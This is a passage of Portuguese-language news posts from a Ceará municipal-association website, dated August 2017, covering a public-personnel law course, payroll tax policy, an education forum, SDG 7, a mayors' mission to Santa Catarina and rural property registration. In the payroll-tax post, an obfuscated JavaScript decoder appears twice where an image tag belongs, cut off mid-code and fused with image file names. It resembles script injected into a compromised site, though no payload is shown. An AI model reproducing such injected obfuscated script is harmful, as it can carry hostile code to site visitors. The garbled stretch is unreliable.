Feed RSS

TCM ABRE INSCRIÇÕES PARA CURSO SOBRE LEGISLAÇÃO DE PESSOAL

Postado em 7 agosto 2017

A partir desta segunda-feira (7/8), o Tribunal de Contas dos Municípios (TCM) recebe inscrições para o curso “Legislação de Pessoal na Administração Pública”. A capacitação, com carga horária total de 20 horas-aula, segue a modalidade de educação a distância e tem 200 vagas disponíveis para gestores e agentes públicos.

O objetivo do curso é capacitar os participantes em relação às principais regras constitucionais sobre o assunto, evitando o cometimento de irregularidades na admissão, remuneração, respeito a direitos e concessão de benefícios previdenciários, por exemplo.

O conteúdo programático aborda conceitos básicos, concurso público, estabilidade, teto constitucional, greve, acumulação de cargos, modalidades de aposentadorias e pensões e outros assuntos.

As inscrições podem ser realizadas pela internet até o dia 21 de agosto, através do endereço eletrônicowww.tcm.ce.gov.br/ecogevirtual, e as aulas serão ministradas no período de 4 a 29 de setembro.

Os professores serão os analistas de Controle Externo Bruno Carneiro e Rafael Brandão, ambos servidores do TCM.

A capacitação faz parte da agenda pedagógica oferecida pelo órgão, por meio do Instituto Escola Superior Waldemar de Alcântara (Ieswa), presidido pelo conselheiro Francisco Aguiar.

Comentar

Governo deve editar nova MP sobre reoneração da folha de pagamentos

Postado em 7 agosto 2017

function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaando-a-calculadora.jpg">function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaando-a-calculadora-300x200.jpg" alt="" width="300" height="200">

O governo federal vai enviar ao Congresso Nacional nova Medida Provisória para reonerar a folha de pagamentos para a maioria dos setores da economia. A matéria editada pelo governo sobre assunto foi enviada no dia 29 março deste ano e perde a validade nesta semana. O acordo é que o governo deixará a medida provisória vencer para o tema ser tratado em projeto.

A estimativa do governo com a reoneração era arrecadar cerca de R$ 5 bilhões neste ano. No entanto, até que se aprove o projeto, o governo deixará de receber quase R$ 4 bilhões. Além disso, o governo pode perder bilhões de reais em arrecadação em função da alteração que o Congresso fez à MP do Refis das empresas.

O presidente da República, Michel Temer, se reuniu com ministros e parlamentares neste domingo, 6 de agosto, para debater a medida. Eles também falaram sobre a as reformas propostas pelo governo, dentre as quais a da Previdência Social. O texto foi aprovado pela comissão especial da Câmara e aguarda votação no Plenário da Casa para seguir ao Senado.

A ideia do governo é retomar a votação desses temas no Congresso a partir das próximas semanas.

Fonte: Agência CNM, com informações do G1

Comentar

Undime realiza 16º Fórum Nacional em Fortaleza

Postado em 7 agosto 2017

Para discutir com dirigentes e equipes técnicas de secretarias municipais de educação de todo o país o tema: “Os desafios para o cumprimento do Plano Nacional de Educação (PNE) na garantia do direito à educação de todos e de cada um”, a Undime realizará, de 8 a 11 de agosto de 2017, seu 16º Fórum Nacional dos Dirigentes Municipais de Educação, em Fortaleza (CE). Na ocasião, será realizada a eleição dos membros da diretoria executiva e do conselho fiscal da Undime para o biênio 2017/ 2019. A Aprece será representada no evento pela prefeita de Alto Santo, Íris Gadelha.

A expectativa é que o 16º Fórum reúna aproximadamente 1.300 participantes, entre dirigentes municipais de educação, técnicos das secretarias, convidados e palestrantes. Aproposta do Fórum é pautar os três anos do Plano Nacional de Educação e os principais desafios para a implementação e para o cumprimento de suas metas e estratégias; as políticas e os programas do governo federal; a importância das ações intersetoriais para a promoção do direito de aprender; os desafios relacionados à oferta da educação como direito; o pacto federativo e os entraves legais que os municípios enfrentam ao longo das gestões. Considerando os prazos previstos pela Lei 13.005/ 2014, que institui o PNE, a discussão ampla sobre todos esses assuntos torna-se essencial para a educação pública municipal.

Ao todo, serão quatro dias de atividades, divididas entre conferências, palestras, mesas-redondas, salas temáticas e visitas às salas de atendimento governamental. Nas salas temáticas, serão debatidos seis temas: implementação, monitoramento, avaliação dos Planos Municipais de Educação (PME) e gestão democrática; gestão pedagógica; gestão de pessoas; gestão administrativa e gestão estrutura e documentação; gestão do transporte escolar e gestão da alimentação escolar; e gestão orçamentária e financeira.

16º Fórum Nacional dos Dirigentes Municipais de Educação

Data: 8 a 11 de agosto de 2017

Local: Centro de Eventos do Ceará – Av. Washington Soares, 999/ Edson Queiroz, Fortaleza/ CE

Programação AQUI.

Outras informações AQUI.

Credenciamento de imprensa

Os jornalistas podem se credenciar no local do evento. Para tanto, deverão preencher um documento informando: nome completo; CPF; veículo de comunicação; telefone; e endereço eletrônico. Os jornalistas receberão um crachá que dará acesso ao auditório e ao espaço dos estandes.

Contatos:

Joana Saraiva (61) 9 8128-5052

Vanelle Oliveira (61) 9 8143-4154

Sandra Leite (85) 9 9178-0237

Comentar

ODS 7 preconiza acesso democrático à energia limpa

Postado em 4 agosto 2017

Em setembro de 2015, durante a agenda mundial adotada durante a Cúpula das Nações Unidas sobre o Desenvolvimento Sustentável em setembro de 2015, foi adotada um agenda mundial estabelecendo os Objetivos de Desenvolvimento Sustentável (ODS). Essa agenda é composta por 17 objetivos e 169 metas a serem atingidos até 2030. E, o ODS 7 diz respeito ao acesso às diferentes fontes de energia, principalmente às renováveis, eficientes e não poluentes.

As metas desse objetivo englobam o acesso universal, confiável, moderno e a preços acessíveis a serviços de energia. Tratam, ainda, do aumento substancial da participação de energias renováveis na matriz energética global; dobra a taxa global de melhoria da eficiência energética; reforça a cooperação internacional na temática; e expande a infraestrutura e moderniza a tecnologia para o fornecimento de serviços de energia modernos e sustentáveis para todos nos países em desenvolvimento.

De acordo com a Organização das Nações Unidas (ONU), 1,5 bilhão de pessoas ainda vivem sem energia elétrica no mundo – isso representa mais do que 1 em 5 pessoas. A ONU levantou também que 2,6 bilhões de pessoas dependem de lenha, carvão e outros combustíveis que causam poluição para cozinhar. Na América Latina, 65 milhões de pessoas ainda usam lenha para cozinhar, porque não têm acesso a serviços energéticos, o que causa graves problemas respiratórios e incentiva o desmatamento, e 24 milhões de pessoas ainda não têm acesso à eletricidade.

Segundo a ONU, a falta de energia está ligada a diversos problemas sociais, como doenças, falta de acesso à educação e segurança. Dados divulgados pelas Agências das Nações Unidas apontam que 4,3 milhões de mortes em 2012 estavam ligadas à poluição em ambientes fechados em casas onde há fogões de biomassa, madeira e carvão, número superior as mortes causadas pela AIDS e por doenças relacionadas com a malária.

Panorama Brasileiro

De acordo com a Agência Internacional de Energia (AIE), a participação de renováveis na matriz energética mundial é de 13%. No Brasil a participação de renováveis chega a 41%, uma das mais elevadas do mundo.

Competências Municipais

O fornecimento de energia é competência da União, portanto, a adoção de medidas mais concretas e efetivas depende essencialmente União e dos Estados na figura das concessionárias de energia estaduais. De forma geral, os municípios devem atuar participando dos comitês e conselhos do setor elétrico, adotando políticas de eficiência energética em prédios públicos e incentivando a população a diminuir seu o desperdício e a entender mais sobre seu consumo.

É papel dos municípios informar e conscientizar a população sobre a necessidade do uso racional do consumo da energia. Com o trabalho dos entes municipais pode-se alcançar avanços na geração de energia alternativa e na redução de custos.

Fonte: CNM

Comentar

Gestores cearenses participam de missão municipalista em Santa Catarina

Postado em 3 agosto 2017

Liderada pela Aprece, uma delegação formada por prefeitos e assessores municipais cearenses está participando, nessa primeira semana de agosto, de uma Missão Municipalista em Santa Catarina (SC), no intuito de conhecer as entidades municipalistas daquele Estado. A visita está acontecendo desde a última terça-feira (1º) e prossegue até sexta-feira (4). O grupo é formado por 32 participantes, entre prefeitos, secretários, técnicos e assessores municipais.

No primeiro dia da Missão, a delegação da Aprece foi ao município de Timbó para fazer uma visita à Associação de Municípios do Médio Vale do Itajaí (AMMVI). Lá, tiveram a oportunidade de conhecer, por meio dos próprios gestores locais, o funcionamento dessa instituição municipal e saber mais sobre como eles conseguiram constituir um consórcio intermunicipal de sucesso que engloba as cidades da região. Depois, realizaram visita técnica no aterro sanitário em funcionamento no local. O mesmo já tem projetos em desenvolvimento há vinte anos e agora passará por um projeto de expansão, através do qual será instalada uma usina de processamento de resíduos orgânicos e um biodigestor para a geração de energia por meio de uma parceria público-privado.

Na quarta-feira (2), o grupo esteve no município de Blumenau, em visita à Agência Reguladora Intermunicipal, no qual, por meio de uma parceria entre todos os municípios associados, é realizado um completo monitoramento das ações de meio ambiente. Em seguida, o grupo conheceu a cidade de Itajaí, onde visitaram a Associação dos Municípios da Foz do Rio Itajaí (AMFRI). Na oportunidade, toda a equipe técnica da entidade apresentou os projetos que desenvolvem lá. Uma das ações consideradas mais interessantes foi a forma de organização consorciada na área da Saúde. Outro destaque foi o trabalho sistemático que executam no controle e monitoramento do ICMS, tendo em vista as informações que as empresas prestam e registram em sistema sobre o valor agregado dos produtos. Esse modelo, que se destaca por sua eficácia em relação ao controle da arrecadação, interessou bastante aos prefeitos participantes da delegação

Nesta quinta-feira (3), foi a vez dos gestores cearenses visitarem Florianópolis, onde conheceram a Associação dos Municípios da Região da Grande Florianópolis (Granfpolis), tendo acesso à estrutura física da entidade e aos detalhes desenvolvidos nas mais diversas áreas. Em seguida, estiveram na Federação Catarinense de Municípios (Fecam), tendo acesso a informações gerais sobre o modelo de federalismo adotado lá, bem como à forma consorciada de trabalho em relação a serviços como Diário Oficial, Agencias de Regulação de Saneamento, entre outros.

Em nome da comitiva cearense, o vice-presidente da Aprece, Nilson Diniz, agradeceu e elogiou todos os representantes das entidades municipalistas visitadas, ao tempo em que ressaltou a importância do modelo que privilegia o bem comum e o senso público em detrimento do interesse individual.  Todos os prefeitos participantes da Missão reiteraram a vontade e a determinação de unir-se no Ceará para a realização de um trabalho coletivo mais coeso e cooperativo. “Está sendo uma experiência muito rica no sentido de desenvolver a união entre os prefeitos e disseminar a cultura do associativismo e da cultura de criação de consórcios multifinalitários tendo em vista a redução de custos e o aumento da força política para ações junto a diversas políticas públicas. Estamos sendo muito bem acolhidos por todos que se demonstram bastante dispostos a compartilhar conhecimentos não só sobre a expertise que dominam, mas também sobre uma visão diferenciada, mais colaborativa e menos individualista, onde os custos são minimizados e os esforços reunidos”, afirmou Helderiza Queiroz, analista orientadora da Escola de Gestão Municipal da Aprece.   

A delegação cearense que integra a Missão Municipalista em Santa Catarina é formada por representantes dos municípios de Acopiara, Altaneira, Alto Santo, Carnaubal, Cedro, Deputado Irapuan Pinheiro, Groaíras, Guaramiranga, Meruoca, Missão Velha, Nova Olinda, Ocara, Orós, Poranga, Potiretama, Quixadá, Reriutaba e São Benedito

Comentar

Instrução normativa deve simplificar o cadastro de imóveis rurais

Postado em 3 agosto 2017

O Instituto Nacional de Colonização e Reforma Agrária (Incra) e a Receita Federal assinaram instrução normativa que deverá simplificar o cadastro de imóveis rurais e disponibilizar o sistema Serviços do Cadastro Nacional de Imóveis Rurais (CNIR).

O texto – publicado no Diário Oficial da União (DOU) – traz as orientações e prazos para os detentores de propriedades rurais. Aqueles que já fizeram a vinculação dos imóveis com base na regra anterior não precisam apresentar a solicitação de atualização cadastral.

A medida faz parte da agenda de simplificação, produtividade e desburocratização de imóveis rurais, lançada em dezembro de 2016 pelo governo federal.

Com a proposta, o serviço de vinculação entre o Código do Imóvel no Incra e o Número do Imóvel na Receita Federal (Nirf) passará a ser realizado dentro do sistema on-line “Serviços CNIR”, que poderá ser acessado pelos cidadãos por meio da Internet (clique AQUI).

A nova solução, além de trazer simplificação das obrigações acessórias, garante a integridade e convergência de dados entre as bases do Incra e da Receita Federal.

A instrução, segundo o presidente do Incra, Leonardo Góes, simplifica e desburocratiza a vida do proprietário rural. “O esforço implementado pelos técnicos do Incra e da Receita busca reduzir o tempo gasto pelo proprietário para fornecer informações sobre o imóvel. Ele não precisará mais acessar dois sistemas distintos e fornecer as mesmas informações”, salienta Góes.

Fonte: Agência CNM, com informações do Incra e da RFB

Comentar
Página 20 de 61« Primeira...10...1819202122...304050...Última »

AtendimentoCentral: 85 3252-1454 | TIM: 85 99924-5884 | CLARO: 85 99119-9396 | OI: 85 98527-3138 | Whatsapp: 85 99683-7978

SEDE 2Juazeiro do Norte, CE - 88 3511-9361

SS Informática